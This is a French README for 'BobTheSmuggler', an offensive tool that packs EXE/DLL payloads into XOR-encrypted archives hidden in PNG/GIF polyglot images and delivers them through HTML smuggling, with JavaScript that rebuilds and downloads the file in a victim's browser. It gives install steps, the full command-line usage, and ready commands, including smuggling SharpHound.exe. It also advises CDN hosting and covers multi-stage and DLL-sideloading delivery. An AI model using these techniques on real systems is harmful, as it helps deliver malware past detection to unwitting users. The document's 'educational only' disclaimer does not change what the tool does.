
"Bob the Smuggler" : Un outil qui exploite l'attaque HTML Smuggling Attack et vous permet de créer des fichiers HTML avec des archives 7z/zip intégrées. L'outil compresse votre binaire (EXE/DLL) au format 7z/zip, puis chiffre l'archive avec XOR et la cache dans un format d'image PNG/GIF (Image Polyglots).

15 janvier 2024 - Le support de la compression multi-fichiers a été ajouté. Si vous avez plusieurs fichiers générés pour votre payload final (par ex., fichiers de DLL-Sideloading ou fichiers de livraison multi-étapes), vous pouvez désormais utiliser l'option '-i' pour spécifier le chemin du répertoire. Si un chemin de répertoire est fourni, BobTheSmuggler archivera automatiquement tous les fichiers de ce répertoire, chiffrera l'archive avec XOR et l'intégrera dans un PNG/GIF.
Consultez mon blog pour une compréhension approfondie de l'utilisation de cet outil : BobTheSmuggler : Votre couteau suisse cybernétique furtif pour la livraison de payloads indétectables.
"Bob the Smuggler" est un outil qui exploite l'attaque de contrebande HTML (HTML Smuggling Attack) et vous permet de créer des fichiers HTML avec des archives 7z/zip intégrées. L'outil compresse votre binaire (EXE/DLL) au format 7z/zip, puis chiffre l'archive avec XOR et la cache dans un format de fichier image PNG/GIF (Image Polyglots). Le JavaScript intégré dans le HTML téléchargera le fichier PNG/GIF et le stockera dans le cache. Ensuite, le JavaScript extraira les données intégrées dans le PNG/GIF, les assemblera, effectuera un déchiffrement XOR, puis les stockera sous forme de blob en mémoire.

Cet outil prend actuellement en charge les chaînes de livraison de payload suivantes :
Avant d'exécuter l'outil, vous avez besoin des prérequis suivants :
pip install python-magic py7zr pyminizip
Remarque : Pour installer python-magic, vous devez installer la bibliothèque libmagic sur votre système. Suivez cette URL pour installer la bibliothèque libmagic : https://pypi.org/project/python-magic/
Une fois les bibliothèques requises installées, vous pouvez procéder à l'installation de l'outil à l'aide des commandes suivantes :
git clone https://github.com/TheCyb3rAlpha/BobTheSmuggler.git
cd BobTheSmuggler
Une fois installé, vous pouvez utiliser l'outil en exécutant la commande suivante :
python3 BobTheSmuggler.py -h

======================================================================
██████╗ ██████╗ ██████╗ ████████╗██╗ ██╗███████╗
██╔══██╗██╔═══██╗██╔══██╗ ╚══██╔══╝██║ ██║██╔════╝
██████╔╝██║ ██║██████╔╝ ██║ ███████║█████╗
██╔══██╗██║ ██║██╔══██╗ ██║ ██╔══██║██╔══╝
██████╔╝╚██████╔╝██████╔╝ ██║ ██║ ██║███████╗
╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚══════╝
███████╗███╗ ███╗██╗ ██╗ ██████╗ ██████╗ ██╗ ███████╗██████╗
██╔════╝████╗ ████║██║ ██║██╔════╝ ██╔════╝ ██║ ██╔════╝██╔══██╗
███████╗██╔████╔██║██║ ██║██║ ███╗██║ ███╗██║ █████╗ ██████╔╝
╚════██║██║╚██╔╝██║██║ ██║██║ ██║██║ ██║██║ ██╔══╝ ██╔══██╗
███████║██║ ╚═╝ ██║╚██████╔╝╚██████╔╝╚██████╔╝███████╗███████╗██║ ██║
╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚══════╝╚═╝ ╚═╝
======================================================================
usage: BobTheSmuggler.py [-h] -i EXE_FILE [-p PASSWORD] -f OUTPUT_HTML -o OUTPUT_FILENAME -t {html,svg,png,gif} [-c {7z,zip}] [-u PNG_URL] [-png PNG_FILE] [-gif GIF_FILE] [-e CUSTOM_FILE] [-v]
Cache un fichier EXE/DLL dans un fichier HTML/SVG.
optional arguments:
-h, --help show this help message and exit
-i EXE_FILE Chemin vers le fichier EXE/DLL.
-p PASSWORD Mot de passe pour la compression.
-f OUTPUT_HTML Fichier HTML smuggled (.html)
-o OUTPUT_FILENAME Nom du fichier téléchargé (votre payload se trouve dans ce fichier.)
-t {html,svg,png,gif} Type de modèle intégré.
-c {7z,zip} Format de compression : 7z ou zip (par défaut : zip)
-u PNG_URL URL pour l'image PNG intégrée.
-png PNG_FILE Chemin vers le fichier PNG pour intégrer EXE/DLL.
-gif GIF_FILE Chemin vers le fichier GIF pour intégrer EXE/DLL.
-e CUSTOM_FILE Fichier HTML à cloner comme modèle.
-v, --verbose Activer la journalisation détaillée.
Si vous souhaitez compresser SharpHound.exe au format 7z (protégé par mot de passe) et le stocker dans un fichier HTML, vous pouvez utiliser la commande suivante :
python3 BobTheSmuggler.py -i path/to/SharpHound.exe -p 123456 -c 7z -f SharpHound.html -o SharpHound.7z -t html

Pour créer un fichier HTML avec le payload intégré caché dans un fichier PNG, vous pouvez utiliser la commande suivante :
python3 BobTheSmuggler.py -i <chemin_du_fichier_entree> -p <mot_de_passe_pour_chiffrer> -f <nom_fichier_HTML_sortie> -o <Nom_fichier_7z/zip_sortie stocké dans le HTML> -t png test.png

REMARQUE : Assurez-vous d'héberger les fichiers PNG/GIF sur un CDN. (Recommandé : vous devez utiliser l'option -u pour fournir l'URL CDN où vous hébergerez le fichier PNG/GIF). À des fins de test, vous pouvez utiliser l'application flask (app.py) qui hébergera banner.gif et banner.png sur localhost:8000.
De même, vous pouvez utiliser la commande suivante pour créer un fichier HTML avec le payload intégré caché dans un fichier GIF :
python3 BobTheSmuggler.py -i <chemin_du_fichier_entree> -p <mot_de_passe_pour_chiffrer> -f <nom_fichier_HTML_sortie> -o <Nom_fichier_7z/zip_sortie stocké dans le HTML> -t gif test.gif

Une fois l'image finale (PNG/GIF) générée, la taille de l'image augmentera car elle contiendra votre fichier intégré.

Une chaîne simple avec une approche différente. Votre EXE/DLL est compressé en fichier .7z/.zip, puis stocké dans un fichier PNG/GIF. Le PNG/GIF est appelé par le JS dans le fichier SVG qui est intégré dans le HTML. Une fois le JS appelé, il télécharge le fichier PNG/ZIP, extrait les données XORées et compressées des chunks d'image, déchiffre le fichier et invoque la fonctionnalité de téléchargement.
python3 BobTheSmuggler.py -i <chemin_du_fichier_entree> -p <mot_de_passe_pour_chiffrer> -f <nom_fichier_HTML_sortie> -o <Nom_fichier_7z/zip_sortie stocké dans le HTML> -t svg -e <Modèle_SVG_personnalisé>
Les modèles suivants ont été ajoutés à ce projet :

Cet outil est destiné uniquement à des fins éducatives. Il est conseillé aux utilisateurs de l'utiliser uniquement d'une manière qui favorise l'apprentissage et la compréhension. L'auteur de cet outil décline expressément toute responsabilité quant à son utilisation au-delà des contextes éducatifs. Les utilisateurs qui choisissent d'utiliser cet outil à des fins autres que l'éducation le font à leurs propres risques et responsabilités, et l'auteur ne pourra être tenu responsable des conséquences découlant d'une telle utilisation.